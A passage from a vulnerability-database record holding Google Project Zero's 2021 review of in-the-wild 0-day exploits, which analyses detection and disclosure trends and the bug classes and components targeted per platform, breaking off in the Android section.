"NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-5128", "CVE-2021-1732", "CVE-2021-21195", "CVE-2021-26084", "CVE-2021-30551", "CVE-2021-30983", "CVE-2021-36942", "CVE-2021-39793", "CVE-2021-40444", "CVE-2022-1096", "CVE-2022-1232", "CVE-2022-1364", "CVE-2022-21882", "CVE-2022-22587", "CVE-2022-22620", "CVE-2022-26134", "CVE-2022-26925", "CVE-2022-30190"], "modified": "2022-06-30T00:00:00", "id": "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "href": "https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:45", "description": "A Year in Review of 0-days Used In-the-Wild in 2021\n\nPosted by Maddie Stone, Google Project Zero\n\nThis is our third annual year in review of 0-days exploited in-the-wild [[2020](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>), [2019](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>)]. Each year we\u2019ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in the analysis of individual exploits, please check out our [root cause analysis repository](<https://googleprojectzero.blogspot.com/p/rca.html>).\n\nWe perform and share this analysis in order to make 0-day hard. We want it to be more costly, more resource intensive, and overall more difficult for attackers to use 0-day capabilities. 2021 highlighted just how important it is to stay relentless in our pursuit to make it harder for attackers to exploit users with 0-days. We heard [over](<https://forbiddenstories.org/about-the-pegasus-project/>) and [over](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) and [over](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>) about how governments were targeting journalists, minoritized populations, politicians, human rights defenders, and even security researchers around the world. The decisions we make in the security and tech communities can have real impacts on society and our fellow humans\u2019 lives.\n\nWe\u2019ll provide our evidence and process for our conclusions in the body of this post, and then wrap it all up with our thoughts on next steps and hopes for 2022 in the conclusion. If digging into the bits and bytes is not your thing, then feel free to just check-out the Executive Summary and Conclusion.\n\n# Executive Summary\n\n2021 included the detection and disclosure of 58 in-the-wild 0-days, the most ever recorded since Project Zero began tracking in mid-2014. That\u2019s more than double the previous maximum of 28 detected in 2015 and especially stark when you consider that there were only 25 detected in 2020. We\u2019ve tracked publicly known in-the-wild 0-day exploits in [this spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>) since mid-2014.\n\nWhile we often talk about the number of 0-day exploits used in-the-wild, what we\u2019re actually discussing is the number of 0-day exploits detected and disclosed as in-the-wild. And that leads into our first conclusion: we believe the large uptick in in-the-wild 0-days in 2021 is due to increased detection and disclosure of these 0-days, rather than simply increased usage of 0-day exploits.\n\nWith this record number of in-the-wild 0-days to analyze we saw that attacker methodology hasn\u2019t actually had to change much from previous years. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces. Project Zero\u2019s mission is \u201cmake 0day hard\u201d. 0-day will be harder when, overall, attackers are not able to use public methods and techniques for developing their 0-day exploits. When we look over these 58 0-days used in 2021, what we see instead are 0-days that are similar to previous & publicly known vulnerabilities. Only two 0-days stood out as novel: one for the technical sophistication of its exploit and the other for its use of logic bugs to escape the sandbox.\n\nSo while we recognize the industry\u2019s improvement in the detection and disclosure of in-the-wild 0-days, we also acknowledge that there\u2019s a lot more improving to be done. Having access to more \u201cground truth\u201d of how attackers are actually using 0-days shows us that they are able to have success by using previously known techniques and methods rather than having to invest in developing novel techniques. This is a clear area of opportunity for the tech industry.\n\nWe had so many more data points in 2021 to learn about attacker behavior than we\u2019ve had in the past. Having all this data, though, has left us with even more questions than we had before. Unfortunately, attackers who actively use 0-day exploits do not share the 0-days they\u2019re using or what percentage of 0-days we\u2019re missing in our tracking, so we\u2019ll never know exactly what proportion of 0-days are currently being found and disclosed publicly. \n\nBased on our analysis of the 2021 0-days we hope to see the following progress in 2022 in order to continue taking steps towards making 0-day hard:\n\n 1. All vendors agree to disclose the in-the-wild exploitation status of vulnerabilities in their security bulletins.\n 2. Exploit samples or detailed technical descriptions of the exploits are shared more widely.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.Launch mitigations that will significantly impact the exploitability of memory corruption vulnerabilities.\n\n# A Record Year for In-the-Wild 0-days\n\n2021 was a record year for in-the-wild 0-days. So what happened?\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC72HVhQEdwHNIzMiyb18bUFr6hPCWJiKL2Mm43-tW11qc0ucOPI8A9oChEXQe0-QNOBF83SIcfyjcyvPveuWvgipbiBzHWqZTx2-LilJFYIbx6uQeno9f481HJQ0CgylQkh8Ks7AbGC6tjhYDNBcI7jh6ihhzJATA0r_P4bQUBm-1lmHp2DPvWM6I/s1200/image1%287%29.png>)\n\nIs it that software security is getting worse? Or is it that attackers are using 0-day exploits more? Or has our ability to detect and disclose 0-days increased? When looking at the significant uptick from 2020 to 2021, we think it's mostly explained by the latter. While we believe there has been a steady growth in interest and investment in 0-day exploits by attackers in the past several years, and that security still needs to urgently improve, it appears that the security industry's ability to detect and disclose in-the-wild 0-day exploits is the primary explanation for the increase in observed 0-day exploits in 2021.\n\nWhile we often talk about \u201c0-day exploits used in-the-wild\u201d, what we\u2019re actually tracking are \u201c0-day exploits detected and disclosed as used in-the-wild\u201d. There are more factors than just the use that contribute to an increase in that number, most notably: detection and disclosure. Better detection of 0-day exploits and more transparently disclosed exploited 0-day vulnerabilities is a positive indicator for security and progress in the industry. \n\nOverall, we can break down the uptick in the number of in-the-wild 0-days into:\n\n * More detection of in-the-wild 0-day exploits\n * More public disclosure of in-the-wild 0-day exploitation\n\n## More detection\n\nIn the [2019 Year in Review](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>), we wrote about the \u201cDetection Deficit\u201d. We stated \u201cAs a community, our ability to detect 0-days being used in the wild is severely lacking to the point that we can\u2019t draw significant conclusions due to the lack of (and biases in) the data we have collected.\u201d In the last two years, we believe that there\u2019s been progress on this gap. \n\nAnecdotally, we hear from more people that they\u2019ve begun working more on detection of 0-day exploits. Quantitatively, while a very rough measure, we\u2019re also seeing the number of entities credited with reporting in-the-wild 0-days increasing. It stands to reason that if the number of people working on trying to find 0-day exploits increases, then the number of in-the-wild 0-day exploits detected may increase.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMbFpoEKSSn5AbAzsovaZ0yN6_OFXo9u4hpDCXJBpro8LRUWJlVQ9CSqtzT2V9ohrhOvP3_RnrYsOzFGPK0FZGJmW2713g2vVW82ReJVXpjAZc57BCxtHg8i-6AdR_ThDZB6UKvzAKekbmAkuUBliMyDyWSBW87z4ZZQJC3KX-_ptZIHveotLGoJ9I/s1200/image5%284%29.png>)\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRS0t_2Bwvc3U_EIr5h7NcWpQyjzHCPb4OMiDpzPxPs587otAEj8bzwch8UMFlgKchwdSq4L_PXRn1O6KGLHUl4X9voLBdZJNQsgQyJcMCVB4Y8-aRHaXRpOYZw7KVtyNYwdWpwX8ILUV1fyG2kDsXVWORsSPUBGVTON90gWf9POhhxA4edxNe1eoV/s1200/image2%285%29.png>)\n\nWe\u2019ve also seen the number of vendors detecting in-the-wild 0-days in their own products increasing. Whether or not these vendors were previously working on detection, vendors seem to have found ways to be more successful in 2021. Vendors likely have the most telemetry and overall knowledge and visibility into their products so it\u2019s important that they are investing in (and hopefully having success in) detecting 0-days targeting their own products. As shown in the chart above, there was a significant increase in the number of in-the-wild 0-days discovered by vendors in their own products. Google discovered 7 of the in-the-wild 0-days in their own products and Microsoft discovered 10 in their products!\n\n## More disclosure\n\nThe second reason why the number of detected in-the-wild 0-days has increased is due to more disclosure of these vulnerabilities. Apple and Google Android (we differentiate \u201cGoogle Android\u201d rather than just \u201cGoogle\u201d because Google Chrome has been annotating their security bulletins for the last few years) first began labeling vulnerabilities in their security advisories with the information about potential in-the-wild exploitation in November 2020 and January 2021 respectively. When vendors don\u2019t annotate their release notes, the only way we know that a 0-day was exploited in-the-wild is if the researcher who discovered the exploitation comes forward. If Apple and Google Android had not begun annotating their release notes, the public would likely not know about at least 7 of the Apple in-the-wild 0-days and 5 of the Android in-the-wild 0-days. Why? Because these vulnerabilities were reported by \u201cAnonymous\u201d reporters. If the reporters didn\u2019t want credit for the vulnerability, it\u2019s unlikely that they would have gone public to say that there were indications of exploitation. That is 12 0-days that wouldn\u2019t have been included in this year\u2019s list if Apple and Google Android had not begun transparently annotating their security advisories. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPe_J-0Wu9Ap-0n3Yj5BoXiWTnjViyyGasIChhb3juADZosK9nTbyiaWtzuRyjwG3frQNjLsvRMRoQHrFfo1iKa3GjmcuLHqat40GcoechQ16XbhpVGwF7m_TJ0Oucvy3wvm8x0aXbVnJfhkG2FNkxI4cJf5ONBqEYnPxQDUmZChvByLHE8OzSU20N/s1200/image3%287%29.png>)\n\nKudos and thank you to Microsoft, Google Chrome, and Adobe who have been annotating their security bulletins for transparency for multiple years now! And thanks to Apache who also annotated their release notes for [CVE-2021-41773](<https://httpd.apache.org/security/vulnerabilities_24.html>) this past year. \n\nIn-the-wild 0-days in Qualcomm and ARM products were annotated as in-the-wild in Android security bulletins, but not in the vendor\u2019s own security advisories.\n\nIt's highly likely that in 2021, there were other 0-days that were exploited in the wild and detected, but vendors did not mention this in their release notes. In 2022, we hope that more vendors start noting when they patch vulnerabilities that have been exploited in-the-wild. Until we\u2019re confident that all vendors are transparently disclosing in-the-wild status, there\u2019s a big question of how many in-the-wild 0-days are discovered, but not labeled publicly by vendors.\n\n# New Year, Old Techniques\n\nWe had a record number of \u201cdata points\u201d in 2021 to understand how attackers are actually using 0-day exploits. A bit surprising to us though, out of all those data points, there was nothing new amongst all this data. 0-day exploits are considered one of the most advanced attack methods an actor can use, so it would be easy to conclude that attackers must be using special tricks and attack surfaces. But instead, the 0-days we saw in 2021 generally followed the same bug patterns, attack surfaces, and exploit \u201cshapes\u201d previously seen in public research. Once \u201c0-day is hard\u201d, we\u2019d expect that to be successful, attackers would have to find new bug classes of vulnerabilities in new attack surfaces using never before seen exploitation methods. In general, that wasn't what the data showed us this year. With two exceptions (described below in the iOS section) out of the 58, everything we saw was pretty \u201c[meh](<https://www.dictionary.com/browse/meh#:~:text=unimpressive%3B%20boring%3A>)\u201d or standard.\n\nOut of the 58 in-the-wild 0-days for the year, 39, or 67% were memory corruption vulnerabilities. Memory corruption vulnerabilities have been the standard for attacking software for the last few decades and it\u2019s still how attackers are having success. Out of these memory corruption vulnerabilities, the majority also stuck with very popular and well-known bug classes:\n\n * 17 use-after-free\n * 6 out-of-bounds read & write\n * 4 buffer overflow\n * 4 integer overflow\n\nIn the next sections we\u2019ll dive into each major platform that we saw in-the-wild 0-days for this year. We\u2019ll share the trends and explain why what we saw was pretty unexceptional.\n\n## Chromium (Chrome)\n\nChromium had a record high number of 0-days detected and disclosed in 2021 with 14. Out of these 14, 10 were renderer remote code execution bugs, 2 were sandbox escapes, 1 was an infoleak, and 1 was used to open a webpage in Android apps other than Google Chrome.\n\nThe 14 0-day vulnerabilities were in the following components:\n\n * 6 JavaScript Engine - v8 ([CVE-2021-21148](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30551](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>), [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>), [CVE-2021-37975](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html>), [CVE-2021-38003](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>))\n * 2 DOM Engine - Blink ([CVE-2021-21193](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html>) & [CVE-2021-21206](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>))\n * 1 WebGL ([CVE-2021-30554](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>))\n * 1 IndexedDB ([CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>))\n * 1 webaudio ([CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>))\n * 1 Portals ([CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>))\n * 1 Android Intents ([CVE-2021-38000](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html>))\n * 1 Core ([CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>))\n\nWhen we look at the components targeted by these bugs, they\u2019re all attack surfaces seen before in public security research and previous exploits. If anything, there are a few less DOM bugs and more targeting these other components of browsers like IndexedDB and WebGL than previously. 13 out of the 14 Chromium 0-days were memory corruption bugs. Similar to last year, most of those memory corruption bugs are use-after-free vulnerabilities.\n\nA couple of the Chromium bugs were even similar to previous in-the-wild 0-days. [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>) is an issue in ScriptProcessorNode::Process() in webaudio where there\u2019s insufficient locks such that buffers are accessible in both the main thread and the audio rendering thread at the same time. [CVE-2019-13720](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html>) is an in-the-wild 0-day from 2019. It was a vulnerability in ConvolverHandler::Process() in webaudio where there were also insufficient locks such that a buffer was accessible in both the main thread and the audio rendering thread at the same time.\n\n[CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) is another Chromium in-the-wild 0-day from 2021. It\u2019s a type confusion in the TurboFan JIT in Chromium\u2019s JavaScript Engine, v8, where Turbofan fails to deoptimize code after a property map is changed. [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) in particular deals with code that stores global properties. [CVE-2020-16009](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-16009.html>) was also an in-the-wild 0-day that was due to Turbofan failing to deoptimize code after map deprecation.\n\n## WebKit (Safari)\n\nPrior to 2021, Apple had only acknowledged 1 publicly known in-the-wild 0-day targeting WebKit/Safari, and that was due the sharing by an external researcher. In 2021 there were 7. This makes it hard for us to assess trends or changes since we don\u2019t have historical samples to go off of. Instead, we\u2019ll look at 2021\u2019s WebKit bugs in the context of other Safari bugs not known to be in-the-wild and other browser in-the-wild 0-days. \n\nThe 7 in-the-wild 0-days targeted the following components:\n\n * 4 Javascript Engine - JavaScript Core ([CVE-2021-1870](<https://support.apple.com/en-us/HT212146>), [CVE-2021-1871](<https://support.apple.com/en-us/HT212146>), [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>), [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>))\n * 1 IndexedDB ([CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>))\n * 1 Storage ([CVE-2021-30661](<https://support.apple.com/en-us/HT212317>))\n * 1 Plugins ([CVE-2021-1879](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1879.html>))\n\nThe one semi-surprise is that no DOM bugs were detected and disclosed. In previous years, vulnerabilities in the DOM engine have generally made up 15-20% of the in-the-wild browser 0-days, but none were detected and disclosed for WebKit in 2021. \n\nIt would not be surprising if attackers are beginning to shift to other modules, like third party libraries or things like IndexedDB. The modules may be more promising to attackers going forward because there\u2019s a better chance that the vulnerability may exist in multiple browsers or platforms. For example, the webaudio bug in Chromium, [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>), also existed in WebKit and was fixed as [CVE-2021-1844](<https://support.apple.com/en-us/HT212223>), though there was no evidence it was exploited in-the-wild in WebKit. The IndexedDB in-the-wild 0-day that was used against Safari in 2021, [CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>), was very, very similar to a [bug fixed in Chromium in January 2020](<https://bugs.chromium.org/p/chromium/issues/detail?id=1032890>).\n\n## Internet Explorer\n\nSince we began tracking in-the-wild 0-days, Internet Explorer has had a pretty consistent number of 0-days each year. 2021 actually tied 2016 for the most in-the-wild Internet Explorer 0-days we\u2019ve ever tracked even though Internet Explorer\u2019s market share of web browser users continues to decrease.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbMTlnGhVLcVL8K20S3s6hSrpyB6kZAA9CWvWNpn1isbEbLFv0c2rs_dPvM0ALT45NtTvyhp8rGehGDRIAEJ6OZYSkk5mezOEoPJOquVXXyHeqrVOvRGEiQHv_J7Je8Itjc5qhwXMCR-E4y79abuxiddCYoeF2VrVakY-L1q82NeMEPjTA0fFC-t8h/s1200/image4%286%29.png>)\n\nSo why are we seeing so little change in the number of in-the-wild 0-days despite the change in market share? Internet Explorer is still a ripe attack surface for initial entry into Windows machines, even if the user doesn\u2019t use Internet Explorer as their Internet browser. While the number of 0-days stayed pretty consistent to what we\u2019ve seen in previous years, the components targeted and the delivery methods of the exploits changed. 3 of the 4 0-days seen in 2021 targeted the MSHTML browser engine and were delivered via methods other than the web. Instead they were delivered to targets via Office documents or other file formats. \n\nThe four 0-days targeted the following components:\n\n * MSHTML browser engine ([CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>), [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-33742.html>), [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>))\n * Javascript Engine - JScript9 ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>))\n\nFor [CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) targets of the campaign initially received a .mht file, which prompted the user to open in Internet Explorer. Once it was opened in Internet Explorer, the exploit was downloaded and run. [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) and [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) were delivered to targets via malicious Office documents.\n\n[CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) and [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) were two common memory corruption bug patterns: a use-after-free due to a user controlled callback in between two actions using an object and the user frees the object during that callback and a buffer overflow.\n\nThere were a few different vulnerabilities used in the exploit chain that used [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), but the one within MSHTML was that as soon as the Office document was opened the payload would run: a CAB file was downloaded, decompressed, and then a function from within a DLL in that CAB was executed. Unlike the previous two MSHTML bugs, this was a logic error in URL parsing rather than a memory corruption bug.\n\n## Windows\n\nWindows is the platform where we\u2019ve seen the most change in components targeted compared with previous years. However, this shift has generally been in progress for a few years and predicted with the end-of-life of Windows 7 in 2020 and thus why it\u2019s still not especially novel.\n\nIn 2021 there were 10 Windows in-the-wild 0-days targeting 7 different components:\n\n * 2 Enhanced crypto provider ([CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>), [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>))\n * 2 NTOS kernel ([CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>), [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>))\n * 2 Win32k ([CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>), [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>))\n * 1 Windows update medic ([CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>)) \n * 1 SuperFetch ([CVE-2021-31955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955>))\n * 1 dwmcore.dll ([CVE-2021-28310](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>))\n * 1 ntfs.sys ([CVE-2021-31956](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956>))\n\nThe number of different components targeted is the shift from past years. For example, in 2019 75% of Windows 0-days targeted Win32k while in 2021 Win32k only made up 20% of the Windows 0-days. The reason that this was expected and predicted was that 6 out of 8 of those 0-days that targeted Win32k in 2019 did not target the latest release of Windows 10 at that time; they were targeting older versions. With Windows 10 Microsoft began dedicating more and more resources to locking down the attack surface of Win32k so as those older versions have hit end-of-life, Win32k is a less and less attractive attack surface.\n\nSimilar to the many Win32k vulnerabilities seen over the years, the two 2021 Win32k in-the-wild 0-days are due to custom user callbacks. The user calls functions that change the state of an object during the callback and Win32k does not correctly handle those changes. [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) is a type confusion vulnerability due to a user callback in xxxClientAllocWindowClassExtraBytes which leads to out-of-bounds read and write. If NtUserConsoleControl is called during the callback a flag is set in the window structure to signal that a field is an offset into the kernel heap. xxxClientAllocWindowClassExtraBytes doesn\u2019t check this and writes that field as a user-mode pointer without clearing the flag. The first in-the-wild 0-day detected and disclosed in 2022, [CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>), is due to [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) actually not being fixed completely. The attackers found a way to bypass the original patch and still trigger the vulnerability. [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>) is a use-after-free in NtGdiResetDC due to the object being freed during the user callback. \n\n## iOS/macOS\n\nAs discussed in the \u201cMore disclosure\u201d section above, 2021 was the first full year that Apple annotated their release notes with in-the-wild status of vulnerabilities. 5 iOS in-the-wild 0-days were detected and disclosed this year. The first publicly known macOS in-the-wild 0-day ([CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>)) was also found. In this section we\u2019re going to discuss iOS and macOS together because: 1) the two operating systems include similar components and 2) the sample size for macOS is very small (just this one vulnerability).\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPGaOlQUGIYyvpDY_M0rGh3JekH4mwXHfN459HYcklg74v4Mfp8j6fgh2SM09mjhA4svdgN_TdSN3R5Bb-DJTHnlo63qnRTsvLs1EZgAE3fBpRtsZhxKhyBNTb_khdS6mNT3EtSHnS_R-TshtHx-gSWnEPpHjmSqO_9Y7JxupGcDKZ0-xwsxgbX6zR/s1200/image6%284%29.png>)\n\nFor the 5 total iOS and macOS in-the-wild 0-days, they targeted 3 different attack surfaces:\n\n * IOMobileFrameBuffer ([CVE-2021-30807](<https://support.apple.com/en-us/HT212623>), [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>))\n * XNU Kernel ([CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) & [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>))\n * CoreGraphics ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>))\n * CommCenter ([FORCEDENTRY sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>) \\- CVE requested, not yet assigned)\n\nThese 4 attack surfaces are not novel. IOMobileFrameBuffer has been a target of public security research for many years. For example, the Pangu Jailbreak from 2016 used [CVE-2016-4654](<https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf>), a heap buffer overflow in IOMobileFrameBuffer. IOMobileFrameBuffer manages the screen\u2019s frame buffer. For iPhone 11 (A13) and below, IOMobileFrameBuffer was a kernel driver. Beginning with A14, it runs on a coprocessor, the DCP. It\u2019s a popular attack surface because historically it\u2019s been accessible from sandboxed apps. In 2021 there were two in-the-wild 0-days in IOMobileFrameBuffer. [CVE-2021-30807](<https://support.apple.com/en-us/HT212623>) is an out-of-bounds read and [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>) is an integer overflow, both common memory corruption vulnerabilities. In 2022, we already have another in-the-wild 0-day in IOMobileFrameBuffer, [CVE-2022-22587](<https://support.apple.com/en-us/HT213053>).\n\nOne iOS 0-day and the macOS 0-day both exploited vulnerabilities in the XNU kernel and both vulnerabilities were in code related to XNU\u2019s inter-process communication (IPC) functionality. [CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) exploited a vulnerability in mach vouchers while [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) exploited a vulnerability in mach messages. This is not the first time we\u2019ve seen iOS in-the-wild 0-days, much less public security research, targeting mach vouchers and mach messages. [CVE-2019-6625](<https://support.apple.com/en-us/HT209443>) was exploited as a part of [an exploit chain targeting iOS 11.4.1-12.1.2](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>) and was also a [vulnerability in mach vouchers](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>). \n\nMach messages have also been a popular target for public security research. In 2020 there were two in-the-wild 0-days also in mach messages: [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>) & [CVE-2020-27950](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html>). This year\u2019s [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) is a pretty close variant to 2020\u2019s [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). Tielei Wang and Xinru Chi actually [presented on this vulnerability at zer0con 2021](<https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf>) in April 2021. In their presentation, they explained that they found it while doing variant analysis on [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). [TieLei Wang explained via Twitter](<https://twitter.com/WangTielei/status/1486266258152726530>) that they had found the vulnerability in December 2020 and had noticed it was fixed in beta versions of iOS 14.4 and macOS 11.2 which is why they presented it at Zer0Con. The in-the-wild exploit only targeted macOS 10, but used the same exploitation technique as the one presented.\n\nThe two FORCEDENTRY exploits ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>) and the [sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>)) were the only times that made us all go \u201cwow!\u201d this year. For [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the integer overflow in CoreGraphics, it was because: \n\n 1. For years we\u2019ve all heard about how attackers are using 0-click iMessage bugs and finally we have a public example, and\n 2. The exploit was an impressive work of art. \n\nThe sandbox escape (CVE requested, not yet assigned) was impressive because it\u2019s one of the few times we\u2019ve seen a sandbox escape in-the-wild that uses only logic bugs, rather than the standard memory corruption bugs. \n\nFor [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the vulnerability itself wasn\u2019t especially notable: a classic integer overflow within the JBIG2 parser of the CoreGraphics PDF decoder. The exploit, though, was described by Samuel Gro\u00df & Ian Beer as \u201cone of the most technically sophisticated exploits [they]\u2019ve ever seen\u201d. [Their blogpost shares all the details](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), but the highlight is that the exploit uses the logical operators available in JBIG2 to build NAND gates which are used to build its own computer architecture. The exploit then writes the rest of its exploit using that new custom architecture. From their blogpost:\n\nUsing over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.\n\nThe bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.\n\nThis is an example of what making 0-day exploitation hard could look like: attackers having to develop a new and novel way to exploit a bug and that method requires lots of expertise and/or time to develop. This year, the two FORCEDENTRY exploits were the only 0-days out of the 58 that really impressed us. Hopefully in the future, the bar has been raised such that this will be required for any successful exploitation.\n\n## Android\n\nThere were 7 Android in-the-wild 0-days detected and disclosed this year. Prior to 2021 there had only been 1 and it was in 2019: [CVE-2019-2215](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html>). Like WebKit, this lack of data makes it hard for us to assess trends and changes. Instead, we\u2019ll compare it 